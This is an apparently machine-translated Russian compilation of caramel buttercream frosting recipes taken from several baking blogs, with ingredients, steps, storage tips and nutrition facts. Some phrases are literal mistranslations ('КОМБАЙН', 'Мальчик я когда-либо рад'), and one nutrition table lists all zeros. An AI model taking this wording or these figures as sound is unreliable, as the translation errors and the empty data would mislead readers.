    Шаг 2: Добавьте сахар

    Добавьте половину сахарной пудры и взбивайте на низкой скорости до полного увлажнения сахара, затем увеличьте скорость до средне-высокой и взбивайте до однородного состояния, около 3-5 минут.

    Добавьте оставшуюся сахарную пудру и взбивайте на низкой скорости до полного увлажнения сахара, затем увеличьте скорость до средне-высокой и взбивайте до однородного состояния, около 3-5 минут.

    Увеличение времени смешивания гарантирует, что сахар хорошо перемешается. В противном случае глазурь будет иметь ощущение песка во рту.

    Шаг 3: Добавьте карамель

    Добавьте карамель и взбивайте на средне-высокой скорости, пока она не станет однородной. Остановитесь, чтобы очистить стенки и дно чаши по мере необходимости.

    Шаг 4: Добавьте соль

    В рецепте указано 1,5 чайных ложки соли. Все это может вам не понадобиться. Это будет зависеть от вашего вкуса.

    Начните с добавления ¼ чайной ложки.Взбейте его в глазурь на средней скорости.

    Остановись и попробуй глазурь. Если он недостаточно соленый, как карамель, добавьте еще ¼ чайной ложки соли. Продолжайте делать это, пока не получите желаемый вкус.

    Если в глазури слишком много пузырьков воздуха, перемешайте ее на низкой скорости или вручную, чтобы выбить их. Возможно, вам не удастся удалить все пузырьки, но этот метод поможет их уменьшить.

    Если вам нравится эта глазурь из соленой карамели, вам понравятся и другие вкусные рецепты карамели:

    НУЖНЫ ИДЕИ ДЛЯ ВЫПЕЧКИ? Подпишитесь на нашу рассылку и канал на Youtube.Кроме того, следите за всеми последними обновлениями в Facebook, Instagram и Pinterest!

    Ингредиенты

    • ½ стакана (77 г) домашнего карамельного соуса, охлажденного до комнатной температуры — СМ. ПРИМЕЧАНИЕ 1
    • 1 чашка (227 г) несоленого сливочного масла, размягченного
    • 3 чашки (360 г) сахарной пудры
    • 1 ½ чайной ложки мелкой морской соли — СМ. ПРИМЕЧАНИЕ 2

    Инструкции

    1. Приготовьте карамель в соответствии с инструкциями рецепта. Отложите в сторону и дайте ему полностью остыть, прежде чем переходить к следующему шагу.
    2. В чаше стационарного миксера с насадкой-лопаткой или в большой миске с ручным электрическим миксером взбейте сливочное масло на средне-высокой скорости в течение 5 минут до кремообразного состояния и бледного цвета. Соскребите со стенок чаши по мере необходимости.
    3. Добавьте половину сахарной пудры и взбивайте на низкой скорости до полного увлажнения сахара, затем увеличьте скорость до средне-высокой и взбивайте до однородного состояния, около 3-5 минут.
    4. Добавьте оставшуюся сахарную пудру и взбивайте на низкой скорости до полного увлажнения сахара, затем увеличьте скорость до средне-высокой и взбивайте до однородного состояния, около 3-5 минут.
    5. Добавьте охлажденную карамель и взбивайте на средне-высокой скорости до однородного состояния.
    6. Постепенно добавляйте соль, по ¼ чайной ложки за раз, пока она не достигнет желаемой степени солености. Увеличьте скорость до средне-высокой и взбивайте, пока масса не станет легкой и воздушной. Соскребите со стенок чаши по мере необходимости.

    Примечания

    1. Вместо домашнего карамельного соуса можно использовать магазинный карамельный соус. Перед использованием доведите его до комнатной температуры.
    2. Возможно, вам не понадобится вся соль, указанная в рецепте.Добавляйте понемногу в соответствии с инструкциями, пока не добьетесь желаемого вкуса.
    3. Если на ваш вкус в глазури слишком много пузырьков воздуха, вы можете удалить некоторые из них, перемешав на низкой скорости или вручную.
    Совет по приготовлению заранее
    1. Глазурь хранится до 2 недель в холодильнике в герметичном контейнере. Вы должны дать сливочному крему нагреться до комнатной температуры, поставив его на стол на пару часов, а затем взбить его электрическим миксером, если это необходимо.
    2. Или можно заморозить на срок до 3 месяцев. Когда будете готовы к использованию, поместите в холодильник на ночь, чтобы оттаять. Дайте постоять при комнатной температуре для размягчения перед использованием.

    Рекомендуемые продукты

    Как партнер Amazon и участник других партнерских программ я зарабатываю на соответствующих покупках.

    Пищевая ценность:
    Выход: 34 Размер порции: 2 столовые ложки
    Количество на порцию: Калорийность: 138 Всего жиров: 8 г Насыщенных жиров: 5 г Ненасыщенных жиров: 2 г Холестерина: 20 мг Натрия: 163 мг Углеводов: 18 г Волокна: 1 г Сахаров: 15 г Белков: 1 г

    * Суточная норма в процентах основана на диете на 2000 калорий.Поскольку разные марки ингредиентов имеют разную информацию о пищевой ценности, указанные значения являются лишь приблизительными.

    Пробовали этот рецепт? Поделитесь им в Instagram!

    Упомяните @introvertbaker или отметьте #introvertbaker!

    Первоначально опубликовано в августе 2015 г. Сообщение обновлено в августе 2020 г. с новыми фотографиями и видео. В рецепт было внесено небольшое изменение для создания более шелковистой текстуры.

    Легкая карамельная глазурь с масляным кремом — готовим с Карли

    Спасибо, что поделился!

    Покройте свои любимые лакомства этим простым в приготовлении карамельным масляным кремом.Только представьте, сколько тортов, кексов и печенья могло бы продолжаться!

    Сладкая карамель в невероятно вкусном масляном креме. Этот рецепт готовится за считанные минуты и идеально подходит для обвязки и украшения.

    Держит форму и имеет восхитительный вкус! Это идеальная начинка для любых десертов, которые могут выиграть от прикосновения карамельного совершенства.

    Приготовление густой карамельной глазури не должно быть сложным. Этот рецепт не требует термометров для конфет или кастрюль.

    Это так быстро и просто, что вы можете украсить свой торт или капкейки всего за несколько минут. Это забавный вариант американского масляного крема, который является наименее сложной версией глазури.

    Когда я изначально создавал этот рецепт, я использовал кексы с морковным пирогом. Это было вкусное сочетание.

    На этот раз я приготовила несколько шоколадных кексов и поджарила кокосовую стружку. Он напоминал немецкий шоколадный торт, только быстрее и с более пушистой глазурью!

    Исходное сообщение от 2019 года

    Эта неделя будет веселой.Эта глазурь — только начало чего-то восхитительного. Следующие несколько дней приготовят что-нибудь интересное для вашего пасхального стола.

    Все началось с желания испечь морковные кексы. Не волнуйтесь, я завтра поделюсь рецептом. (Обязательно посмотрите, как я превратила их в кекс в форме моркови!)

    Эти кексы, конечно, нуждаются в глазури. Я обычно покрываю свои морковные пирожные глазурью из сливочного сыра.

    Иногда, когда я чувствую себя энергичным, я использую глазурь из кленового сливочного сыра.Это очень вкусно и добавляет немного тепла в смесь.

    В этот конкретный день и для этого конкретного проекта глазурь из сливочного сыра просто не сработала. Мне нужно было что-то, что не требовало охлаждения и что-то, что держало бы форму.

    Было заманчиво перейти к моему старому резерву, масляному крему из сгущенного молока с сахаром. Это было действительно супер-пупер-заманчиво.

    Но мне нравится пробовать что-то новое, поэтому я решил, что лучше заняться чем-то другим.Мальчик я когда-либо рад, что я сделал.

    У меня было немного карамельного соуса, который называл мое имя. Я подумал, что это будет простой способ добавить вкус и теплоту глазури.

    Конечным результатом было хорошее причмокивание губами (и облизывание пальцев). Окончательный цвет был достаточно золотистым, чтобы дать намек на карамель внутри.

    Прекрасно ложится на кексы и сам по себе идеален. Они также были великолепны с небольшим количеством нарезанных орехов пекан и капелькой карамели.

    Не могу дождаться, когда этот проект развернется для вас.Надеюсь, вы последуете. А пока что бы вы хотели угостить, кроме этой глазури на первом месте?

    Советы по приготовлению глазури

    Поскольку этот рецепт немного отличается от традиционного американского масляного крема, он практически надежен. Есть несколько советов, чтобы сделать его идеальным каждый раз.

    Во-первых, начните со сливочного масла комнатной температуры. Оно должно быть мягким, но не вялым.

    Вы хотите, чтобы ваш миксер был в состоянии сделать его очень гладким без кусочков твердого масла.Это и сахарная пудра, которая не слишком комковатая, обеспечат однородный масляный крем.

    Используйте насадку-лопатку на миксере, чтобы предотвратить попадание большого количества воздуха в глазурь. Хотя вы хотите, чтобы он был легким и пушистым, слишком большое количество пузырьков воздуха повлияет на текстуру вашего конечного продукта и затруднит получение гладкой поверхности вашего торта.

    Вы можете либо использовать соленое масло, либо добавить щепотку соли, либо и то, и другое. Попробуйте его и отрегулируйте по своему вкусу.

    Соль добавляет баланс всей сладости карамели и сахарной пудры.Плюс карамель и соль — классическое сочетание не просто так.

    Веселись! Глазурь должна быть веселой. Так что наслаждайтесь процессом и получайте удовольствие от украшения!

    Время подготовки 10 минут

    Общее время 10 минут

    Ингредиенты

    • 1 чашка сливочного масла, размягченного
    • 1 чайная ложка ванили
    • 1/3 стакана карамельного топпинга
    • щепотка соли
    • 1-2 столовые ложки сливок
    • 4 стакана сахарной пудры

    Инструкции

    1. Взбить сливочное масло, пока оно не станет мягким и пышным.
    2. Добавьте ваниль, карамельную начинку и соль.
    3. Взбить с сахарной пудрой.
    4. Добавьте желаемое количество сливок. Отрегулируйте конечную консистенцию, добавив еще немного сливок или сахарной пудры.

    Рекомендуемые продукты

    Как партнер Amazon и участник других партнерских программ я зарабатываю на соответствующих покупках. Пожалуйста, просмотрите мою страницу раскрытия для получения дополнительной информации.

    Пищевая ценность:
    Выход:
    24
    Размер порции:
    1
    Количество на порцию: Калории: 154 Всего жиров: 8 г Насыщенных жиров: 5 г Трансжиров: 0 г Ненасыщенных жиров: 2 г Холестерина: 22 мг Натрия: 82 мг Углеводов: 21 г Волокна: 0 г Сахаров: 21 г Белков: 0 г

    Вся информация о пищевой ценности приблизительна и зависит от того, какие именно ингредиенты вы используете.

    Ты приготовил этот рецепт?

    Хотел бы я на это посмотреть! Поделитесь фотографией в Instagram или Pinterest и отметьте меня @carleecooks, чтобы я знал, как все прошло!

    Спасибо, что поделился!

    ЛУЧШИЙ Рецепт карамельной глазури

    Карамельная глазурь сладкая и маслянистая, с кремовой текстурой. Попробуйте сочетать его с вашим любимым вкусом торта!

    Эта карамельная глазурь требует нескольких дополнительных шагов, но это того стоит.Попробуйте сочетать это чудо с Волшебным тыквенным тортом, Яблочным тортом или Легким шоколадным тортом.

    Так мило и так мечтательно!

    Без сомнения, эта карамельная глазурь — одна из моих любимых! Он хорошо сочетается со многими разными вкусами тортов, особенно с шоколадным и моим карамельным тортом. Это также идеальная глазурь для яблочного или тыквенного пирога.

    Карамель просто говорит о моей любви к осени. Карамель идеально сочетается с яблоками, орехами пекан и многим другим.По этому рецепту получается много глазури, так что дерзайте.

    Я мог бы есть его ложкой или, может быть, окунать в него несколько яблок. Как бы вы ни решили его использовать, вы не будете разочарованы!

    Как приготовить карамельную глазурь

    РАСПЛАВ. № Добавьте сливочное масло в кастрюлю среднего размера и растопите на среднем огне.

    КОМБАЙН. Добавьте коричневый сахар, ¼ стакана сливок и соль.

    ПРИГОТОВЛЕНИЕ. Продолжайте готовить, часто помешивая, пока карамельная смесь не начнет пузыриться и кипеть.Варить две минуты, затем снять с огня.

    ХОЛОД. № Перелейте карамель в большую миску или чашу стационарного миксера. Дайте остыть не менее 30 минут.

    МИКС. После того, как карамель остынет, добавьте 3 стакана сахарной пудры и оставшиеся ¼ стакана густых сливок и перемешайте до однородности.

    КОМБАЙН. При необходимости добавьте больше сахарной пудры, чтобы глазурь была однородной и имела консистенцию масляного крема.

    Советы по приготовлению идеальной карамельной глазури

    Время, потраченное на приготовление этой карамельной глазури, определенно того стоит!

    При приготовлении этой глазури следует помнить о нескольких вещах: 

    • Вы можете использовать светлый или темно-коричневый сахар или даже их смесь.
    • Прежде чем добавлять их в карамельную смесь, убедитесь, что масло и сливки комнатной температуры.
    • Если вы используете соленое масло, вам нужно уменьшить количество добавляемой соли или вообще отказаться от нее.
    • Используйте кастрюлю большего размера, так как карамель имеет тенденцию сильно пузыриться, и вы не хотите, чтобы она расплескивалась по бокам.
    • Чистите стенки кастрюли во время приготовления, чтобы предотвратить образование кристаллов.
    • При добавлении сахарной пудры убедитесь, что карамель достаточно остыла, иначе она не загустеет и не будет держать форму при использовании.

    Использование и хранение

    Сколько это стоит? Этого рецепта достаточно, чтобы глазировать двухслойный круглый торт диаметром 8 дюймов. Вы также можете глазировать около 18-24 кексов, в зависимости от густоты глазури.

    Эта глазурь отлично подходит для всех видов десертов, тортов, имеет прекрасный вкус, но вы также можете глазурь:

    Магазин: Эта глазурь из масляного крема хранится в холодильнике в течение 3-5 дней. Доведите его до комнатной температуры, прежде чем пытаться его намазать.Если вы хотите, чтобы он снова стал пышным, просто немного взбейте его в миксере.

    Для получения дополнительных рецептов глазури попробуйте :

    Десертное блюдо

    Американская кухня

    Время подготовки 15 минут

    Общее время 15 минут

    Калорийность 6655 ккал

    Автор Лил Луна

    • Добавьте сливочное масло в кастрюлю среднего размера и растопите на среднем огне.

    • Добавьте коричневый сахар, ¼ стакана сливок и соль.

    • Продолжайте готовить, часто помешивая, пока карамельная смесь не начнет пузыриться и кипеть. Варить две минуты, затем снять с огня.

    • Перелейте карамель в большую миску или чашу стационарного миксера. Дайте остыть не менее 30 минут.

    • После того, как карамель остынет, добавьте 3 стакана сахарной пудры и оставшиеся ¼ стакана густых сливок и перемешайте до получения однородной массы.

    • При необходимости добавьте сахарной пудры, чтобы получилась однородная глазурь с консистенцией масляного крема.

    Лучшая карамельная глазурь – The Fountain Avenue Kitchen

    Карамельная глазурь на шоколадном торте всегда была любимым десертом моей свекрови на день рождения. Карамельная глазурь на пряниках давно стала любимым лакомством моего папы. Итак, на протяжении многих лет мне приходилось много раз пробовать различные рецепты, и этот рецепт карамельной глазури всегда вызывает восторженные отзывы. Это единственное, что я делаю больше.

    Пусть вас не пугают слова «конфетный термометр».В течение многих лет я избегал рецептов, требующих этого инструмента, только для того, чтобы обнаружить, что он так прост в использовании и позволяет получить идеальный готовый продукт. Если у вас нет термометра для конфет, в отделе выпечки вашего продуктового магазина, вероятно, есть недорогой термометр. Вам понадобится термометр, который крепится к стенке кастрюли.

    Лучшая карамельная глазурь

    Выход: 2½+ чашки

    Этот типичный рецепт можно приготовить заранее, и он позволит максимально использовать ваш любимый торт!

    • 2 чашки (400 г) светло-коричневого сахара
    • 1 стакан (240 мл) жирных сливок
    • 3 столовые ложки (42 г) сливочного масла
    • 1 чайная ложка ванили
    • 1½ столовых ложки рома (по желанию)
    1. В толстостенной кастрюле варите сахар и сливки на среднем огне, пока смесь не начнет кипеть.Накройте крышкой, уменьшите огонь до минимума и варите 2 минуты. Снимите крышку и готовьте, периодически помешивая, пока температура на термометре для конфет не достигнет 238℉. (После того, как вы откроете кастрюлю, вам может потребоваться увеличить огонь до среднего или среднего, в зависимости от вашей плиты, чтобы поддерживать кипение.)

    2. Снимите с огня и положите сверху сливочное масло, но не перемешивайте. Дайте постоять около часа или пока смесь не станет примерно 110 ℉. Добавьте ваниль и ром. Взбивать до тех пор, пока глазурь не приобретет пастообразную консистенцию.(Если глазурь не загустела, немного охладите и снова взбейте. Если вы потеряли счет времени, как это было со мной много раз, и глазурь слишком сильно остыла, немного подогрейте и снова взбейте.)

    3. Хранить в контейнере до использования, поместив полиэтиленовую пленку непосредственно на поверхность. Хранить при комнатной температуре до 1 недели или в холодильнике до 3 недель. Если он хранится в холодильнике, доведите его до комнатной температуры и перемешайте, прежде чем покрывать торт глазурью.

    По этому рецепту можно приготовить более 2½ стаканов глазури, что достаточно для глазури двухслойного торта.

    Иногда я украшаю верх торта карамелью Hershey’s Kisses в качестве дополнения к рецепту торта.

    Кухня Фонтан-авеню https://fountainavenuekitchen.com/

    Это переработанная версия рецепта «Радость кулинарии».

    Глазурь с карамельным масляным кремом — Проект кексов

    Опубликовано , Последнее обновление от Stef

    Раскрытие информации: я могу получать комиссию от покупок, которые вы совершаете по партнерским ссылкам, без дополнительных затрат для вас .

    Масляный крем с карамелью – это то, что нужно попробовать всем любителям карамели! Пусть вас не смущает великолепная морось карамели на фотографии ниже; сама эта глазурь создается с использованием карамели, и вы делаете ее так же, как вы делаете простой ванильный масляный крем.

    Эта карамельная глазурь из масляного крема прекрасно подходит для глазури кексов или пирожных. Ее можно приготовить с домашним или купленным в магазине карамельным соусом.

    Ингредиенты

    Для приготовления карамельного масляного крема вам понадобятся:

    • Сливочное масло – При выпечке используйте несоленое сливочное масло.Вы можете контролировать количество используемой соли с помощью других ингредиентов в рецепте. В этом случае я предлагаю использовать соленую карамель!
    • Сахарная пудра – Сахарную пудру также называют кондитерским сахаром. Это одно и то же!
    • Карамельный соус Карамельный соус можно купить в магазине или приготовить самостоятельно. Всегда покупайте или готовьте дополнительную карамель, чтобы сбрызнуть ею десерт; нельзя много!

    Если вы решите приготовить домашний карамельный соус, есть много способов сделать это. Большинство методов, в том числе и описанный в этом посте, предполагают пристальное наблюдение за кастрюлей на плите. Если вы новичок в приготовлении карамельного соуса, я предлагаю прочитать это руководство по карамельному соусу в качестве основы.

    Но, , если вы хотите, чтобы карамельный соус был очень простым и все еще домашним, я настоятельно рекомендую вам попробовать дульсе де лече (показан ниже). Технически это не карамель, но очень близкий родственник. Дульсе де лече смехотворно легко приготовить, и она прекрасно сочетается с этой глазурью!

    Совет: Карамельный соус может сильно различаться по густоте.Возможно, вам придется отрегулировать количество, используемое в этом рецепте:

    • Если ваш карамельный соус очень густой, увеличьте используемое количество.
    • Если ваша карамель жидкая (как вы видите выше), используйте указанное количество.

    Вы можете добавить больше карамельного соуса, когда он станет более густым, потому что более густая карамель не разжижает масляный крем так сильно, как более жидкая. Цель состоит в том, чтобы получить правильную текстуру – жесткую, но пластичную.

    Как это сделано

    Первый шаг — взбить масло в течение трех минут на высокой скорости в стационарном миксере.Перемешивание в течение всего времени очень важно для того, чтобы масло проветрилось. Если вы не будете мешать достаточно долго, глазурь будет очень густой.

    Затем смешайте с карамельным соусом – убедитесь, что он полностью соединился со сливочным маслом

    Наконец, смешайте с сахарной пудрой . Понемногу добавляйте сахарную пудру и всегда запускайте миксер на низкой скорости. Если вы начнете на высокой скорости, сахар может разлететься по всей кухне.

    Советы экспертов и ответы на часто задаваемые вопросы

    Что использовать Карамельная глазурь

    Карамельно-сливочный крем отлично сочетается как с ванильными, так и с шоколадными капкейками.Я также люблю его на яблочных кексах, банановых кексах и тыквенных кексах! Небо это предел!

    Он также должен идеально сочетаться с вашими любимыми рецептами тортов.

    Часто задаваемые вопросы

    Как заморозить этим масляным кремом?

    Вы можете намазать карамельной глазурью масляный крем на что угодно. Если вы хотите нанести его на кексы, , самый простой способ добиться идеального завитка кекса — использовать насадку 1M .

    Нужен ли мне электрический миксер?

    Несмотря на то, что существует множество рецептов глазури, которые можно смешивать вручную, для лучшей глазури из сливочного крема в масло должно быть добавлено много воздуха.Чтобы действительно сделать эту работу правильно, я настоятельно рекомендую вам использовать электрический миксер . Хорошо подойдет ручной миксер или стационарный миксер.

    Как добиться идеального смешивания глазури?

    Вам нужно будет останавливаться и соскабливать со стенок чаши каждую минуту или около того, пока вы смешиваете , так как масло будет прилипать к стенкам чаши. Проще всего это сделать силиконовой лопаткой. Один из способов избежать соскабливания чаши — использовать миксер со скребковой лопаткой.Многие миксеры теперь поставляются с ними, но вы можете приобрести один (например, лопасть для взбивания), если у вас его нет.

    Как убедиться, что глазурь имеет хорошую текстуру?

    При необходимости сахарную пудру просеять . Взгляните на настоящий сахар, чтобы увидеть, есть ли в нем комки (некоторые марки более комковаты, чем другие). Кусочки сахарной пудры не впитаются в глазурь и могут застрять в насадке. Измерьте количество, прежде чем начать просеивать.

    Как хранить карамельный масляный крем?

    Глазурь сохраняется до недели при комнатной температуре или месяцев в морозильной камере . Вам нужно будет довести его до комнатной температуры и снова перемешать в течение минуты или двух, прежде чем вы начнете прокачивать.

    Глазурь с карамельным масляным кремом

    Крем с карамельным маслом – это то, что обязательно нужно попробовать всем любителям карамели! Он прекрасно подходит для капкейков и пирожных, его можно приготовить с домашним или купленным в магазине карамельным соусом.

    Ингредиенты для карамельного соуса
    Инструкции по приготовлению карамельного соуса
    • В средней кастрюле на среднем огне нагревайте сахар, постоянно помешивая, пока он полностью не растает, около 5 минут.

    • Немедленно добавьте масло и перемешайте, пока масло полностью не растает, 2-3 минуты.

    • Медленно добавьте сгущенное молоко. При этом смесь будет быстро пузыриться, поэтому будьте осторожны. Проварить одну минуту, не перемешивая.

    • Снимите с огня и добавьте морскую соль.

    • Охладить до комнатной температуры.

    Инструкции по приготовлению масляного крема
    • Взбивайте масло на высокой скорости миксером до получения легкой и воздушной массы, около 3 минут.

    • Смешать с карамельным соусом до полного смешивания.

    • Понемногу добавляйте сахарную пудру до полного смешивания.

    • Намажьте кексы, пирожные или печенье.

    Если вы будете следовать этому рецепту карамели, у вас останется карамель. Это хорошая вещь. Съешьте его или посыпьте им свои десерты! Если вы используете другой рецепт карамели или покупаете карамель в магазине, карамель будет разной толщины. Рецепт карамели здесь делает очень тонкую карамель.Если ваш карамельный соус очень густой, увеличьте количество карамели в этом рецепте. Я использовал целых 1/2 стакана карамели, когда использовал очень густую карамель.

    калорий: 222 ккал | Углеводы: 22 г | Белок: 1 г | Жир: 15 г | Насыщенные жиры: 10 г | Холестерин: 41 мг | Натрий: 14 мг | Калий: 5 мг | Клетчатка: 1 г | Сахар: 20 г | Витамин А: 473 МЕ | Кальций: 6 мг

    Оставайтесь на связи!

    Давайте общаться!

    Присоединяйтесь к моему списку рассылки и получите бесплатную электронную книгу!

    Запишите меня!

    Легкая карамельная глазурь без варки

    Легкая карамельная глазурь без варки | Пришло время вечеринки, а это значит, что приготовить вкусную глазурь для торта или капкейков несложно! В этой легкой и пушистой глазури всего 3 ингредиента, и вам не придется гадать, достаточно ли долго вы варили масло и сахар! Уберите кастрюли и выключите плиту! Вам не нужно это для этой легкой карамельной глазури без варки!

    Обычно карамельная глазурь требует, чтобы вы кипятили сахар и масло, и это больше похоже на заливку глазури.Это означает, что глазурь предназначена для того, чтобы поливать торт, пока глазурь еще горячая. Вы можете сделать это на кексе, но тогда у вас останется плоская глазурь. Попробуйте эту легкую и пушистую карамельную глазурь Easy No Boil. Нажмите здесь, чтобы увидеть вареную версию—>>>>КАРАМЕЛЬНАЯ ГЛАЗУРИ.

    Всего из ТРЕХ ингредиентов! Звезда этой глазури — банка Nestle Dulce de Leche. Очень легко сделать, и его можно намазать или намазать на 24 кекса, двухслойный торт или листовой пирог.Не забывайте о куки! Эта восхитительная гладкая глазурь будет восхитительной на темном шоколадном торте. Почти как съесть шоколадный батончик! Как насчет кексов с яблочным сидром! Почти как есть карамельное яблоко!

    Будь то торт, капкейки или печенье, я знаю, что вам и вашим гостям понравится восхитительный вкус. Иногда приготовление кексов и глазури с нуля может занять много времени. Мое эмпирическое правило таково… уверен, что кексы, приготовленные с нуля, восхитительны, но если вам придется пожертвовать домашними кексами в пользу домашней глазури.Я буду выбирать домашнюю глазурь каждый раз! Нажмите здесь, чтобы узнать, как можно преобразить смесь для торта —->>>>22 СПОСОБА ПРИГОТОВЛЕНИЯ СМЕСИ ДЛЯ ТОРТА НА ВКУС ДОМАШНЕГО.

    Ингредиенты

    • 3/4 стакана несоленого сливочного масла, размягченного
    • 1 (13,4 унции) банка Nestle Dulce de Leche (карамель)
    • 5 стаканов сахарной пудры

    Инструкции

    В большой миске взбейте сливочное масло, пока оно не станет светлым и воздушным.Добавьте карамель и продолжайте взбивать до легкой воздушной массы. Добавляйте сахар по 1 стакану за раз. Взбивайте, пока весь сахар не будет включен и не станет легким и пушистым (около 3 минут). Вы хотите, чтобы в глазурь попал воздух. Либо выдавить, либо намазать на кексы, двухслойный торт, листовой пирог или печенье!

    Информация о пищевой ценности


    Количество на порцию Калорийность 0 Всего жиров 0 г Насыщенных жиров 0 г Холестерина 0 мг Натрия 0 мг Волокна 0 г Сахаров 0 г Белков 0 г

    Вы сделали этот рецепт? Закрепите это на потом!

    Упомяните @Lady Behind the Curtain или отметьте #ladybehindthecurtain

    НИКОГДА НЕ ПРОПУСТИТЕ СООБЩЕНИЕ!

    Подпишитесь на мою рассылку и получайте мои рецепты на свой почтовый ящик.

    Добавить комментарий

    Ваш адрес email не будет опубликован.